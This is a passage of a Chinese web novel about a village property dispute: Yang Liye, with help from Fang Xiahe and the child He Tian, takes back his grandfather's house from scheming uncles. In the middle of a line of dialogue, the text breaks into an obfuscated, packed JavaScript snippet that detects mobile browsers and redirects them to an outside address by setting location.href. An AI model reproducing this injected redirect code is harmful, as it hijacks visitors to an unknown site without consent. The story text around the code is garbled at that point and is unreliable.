“是!老爷子是留了这破屋给他,可那些年老爷子生病抓药、养老送终,花了多少钱?那都是我们两家勒紧裤腰带凑出来的!他出一间破房子给我们住一住,报答我们两家的恩情,那不是天经地义嘛。” 二婶张金花立刻帮腔,拍着大腿,唾沫横飞:“就是就是!长河兄弟,您是明白人!我们当叔婶的,替他爹娘尽孝,花了那么多心血和银钱,现在他翅膀硬了,回来就要房子,连句感恩的话都没有?这像话吗?这房子,就当抵了我们替他尽孝的钱了!他该知恩图报!” 这番“讲钱”的托辞,顿时引起一些不明就里的村民窃窃私语。 杨立业眉头紧锁,拳头在身侧攥紧,不善言辞的他被这“恩情债”堵得一时语塞。 方文静站在人群另一头,满脸担忧地看着杨立业,她拳头握了又握,一张嘴欲言又止,正要上前一步。 一个清亮的声音打断了她的行动。 “二叔二婶这话,乍一听在理,细一想,可就不对了!” 众人循声望去,只见方夏荷牵着何田,从人群中从容走出,站到了杨立业身侧。她目光平静地直视杨满仓夫妇。 “怎么个不对法?”杨满仓斜睨着她,语气不善。 方夏荷微微一笑,条理清晰,掷地有声: “第一,赡养杨爷爷,是你们作为儿子儿媳应尽的本分!杨爷爷是你们的亲爹,不是立业的亲爹!你们尽自己的本分赡养老人,不能转嫁成你们向立业索要房产的理由!这道理,走到天边也说不通!” “第二,”她不给对方插话的机会,语速加快,“当年分家,白纸黑字写得清楚,这老屋归杨爷爷,最终由立业继承。你们两家分得的是其他田产房屋,谁也没亏了你们。给杨爷爷养老送终,又是一码归一码,怎能把账全算在立业头上?” “第三,”方夏荷目光锐利如刀,“你们口口声声说花了多少钱,可有凭据?立字据了吗?谁作证?空口白牙就想吞掉人家爷爷留下的祖产?这是哪门子的‘天经地义’!” 这一番有理有据、逻辑严密的驳斥,打得杨满仓和张金花脸色阵红阵白,张口结舌,半天憋不出一句完整的话。围观的村民也纷纷点头,看向他们的眼神带上了鄙夷。 李长河赞赏地看了方夏荷一眼,沉声道:“夏禾说得在理!满仓,金花,养育老人是本分,不能拿这个当借口侵占侄子的房产!这事,你们不占理。” 眼看二房败下阵来,一直沉默装鹌鹑的三叔杨满囤和三婶王翠云对视一眼,立刻换了策略。 王翠云未语泪先流,拉着身边两个半大孩子,声音哽咽,透着无限委屈:“支书啊!立业大侄子!我们......我们不是不讲理的人啊!” 她捶着自己的胸口,“实在是......难啊!你看看我们家,上有老下有小,前些日子地震,我家灶房塌了半拉,到现在都没钱修!我这身子骨也不争气,肚子三天两头地疼......娃他爹的腰伤也犯了......” 杨满囤适时地捂着腰,一脸痛苦地咳嗽了几声,唉声叹气:“立业啊,三叔知道你难,可三叔家更难啊!我娶老婆晚,孩子刚这么一大点,你看这几个娃,正是吃穷老子的时候,上学要钱,穿衣吃饭要钱......我们暂时借住这点地方,也是实在没办法啊! “要不这样,你先出海忙你的,等三叔家缓过劲儿来,手头宽裕了,一定给你腾地方,好好补偿你!你看行不?”他打起了感情牌和拖延战术。 更绝的是,王翠云推了推身边几个懵懂的孩子:“快,去求求立业哥哥!你们立业大哥心最软了,你们好好说!” 两个孩子被推搡着,怯生生地围到杨立业腿边,仰着小脸,七嘴八舌地叫着: “立业大哥,别赶我们走......” “哥哥,我们没地方住......” “哥,我饿......” 孩子们纯真又可怜的眼神,瞬间击中了杨立业内心最柔软的地方。 他高大的身躯僵住了,看着拉扯他裤腿的孩子,眼神复杂,紧握的拳头微微松开,喉结滚动了一下,真的有些心软犹豫了。 三房两口子眼中闪过得意。 拖!只要拖到杨立业出海,这地方还是他们的! 就在这关键的僵持时刻,一个清脆响亮的童声突兀地响起: “翠云姥姥,你肚子又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868504|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛啦?”何田挣脱妈妈的手,像个小炮弹一样冲到王翠云面前,仰着小脸,大眼睛扑闪扑闪。 “我妈妈教我一个治肚子痛的咒语,可灵啦!你要不要试试?对着肚脐眼念‘疼疼飞飞,骗子倒霉’!念三遍就好啦!”她一边说,一边还煞有介事地伸出小手指,作势要去点王翠云的肚子。 “噗嗤!”围观的村民里有人忍不住笑出声。王翠云的脸瞬间涨成了酱紫色,又气又窘,想发作又碍于对方是个孩子,只能尴尬地躲闪:“去去去!小孩子家家的,瞎说什么!” 何田才不管她,又转向那几个围着杨立业的孩子,小大人似的叉着腰:“你们几个小糊涂蛋!你家没地方住?骗人!我昨天还看见你家新砌了半堵墙呢!比我家灶房都结实!” “你们上学没钱?那昨天小石头还拿着新买的弹弓在我面前显摆呢!你们家钱都买弹弓玩啦?怪不得没钱交学费!羞羞羞!” 小孩子童言无忌,却句句戳在痛处!这把杨立业三叔家“卖惨”的谎言戳了个大洞! 杨满囤和王翠云的脸彻底黑了。 何田最后跑到杨立业面前,拉住他粗糙的大手,仰着头:“立业叔叔!你别信他们!他们就是看你好说话,想赖着不走!” “这房子是你爷爷留给你的!是你的家!你要拿回来!我们村里人都支持你!坏人就要赶走!”她说着,还挥舞了一下小拳头。 何田这一番“童言童语”的搅局,瓦解了三叔家苦心营造的悲情氛围,也像一盆冷水浇醒了杨立业。 一股滚烫的热流猛地冲上心头,驱散了所有犹豫! 他不再看那些卖惨的表演,挺直脊梁,一股无形的威压瞬间扩散开来,让嘈杂的现场为之一静。 他转向李长河,声音低沉却如同金石交击: “支书!房契在这里,白纸黑字,写得明明白白!这老屋地基,包括上面的一切,归我杨立业所有!” 他“唰”地一下再次亮出那几张发黄的契纸,目光扫过二叔三叔两家: “二叔三叔!我敬你们是长辈,给你们留了脸面!但你们侵占在先,狡辩在后!昨天我已经说清楚了,三天内腾清!今天就是最后期限!” 他向前踏出一步,高大的身影带着迫人的气势,目光锁定三叔杨满囤: “三叔!你家的难处?我杨立业在外漂泊,打碎牙往肚子里咽时,有向你们诉过一声苦、伸过一回手吗?你们占我祖屋的时候,念过半分亲情吗?” 他声音陡然拔高: “今天,这地方,你们腾也得腾,不腾也得腾!支书在此,村规在此!如果你们再要拖延耍赖,阻挠我收回祖产......” 他猛地一拳砸在旁边一个废弃的石磨盘上! “砰!”一声闷响!杨立业收拳,指关节处一片通红,他眼神冷冽如冰: “那就别怪我杨立业,按规矩办事!该拆的拆!该清的清!一切损失,你们自负!”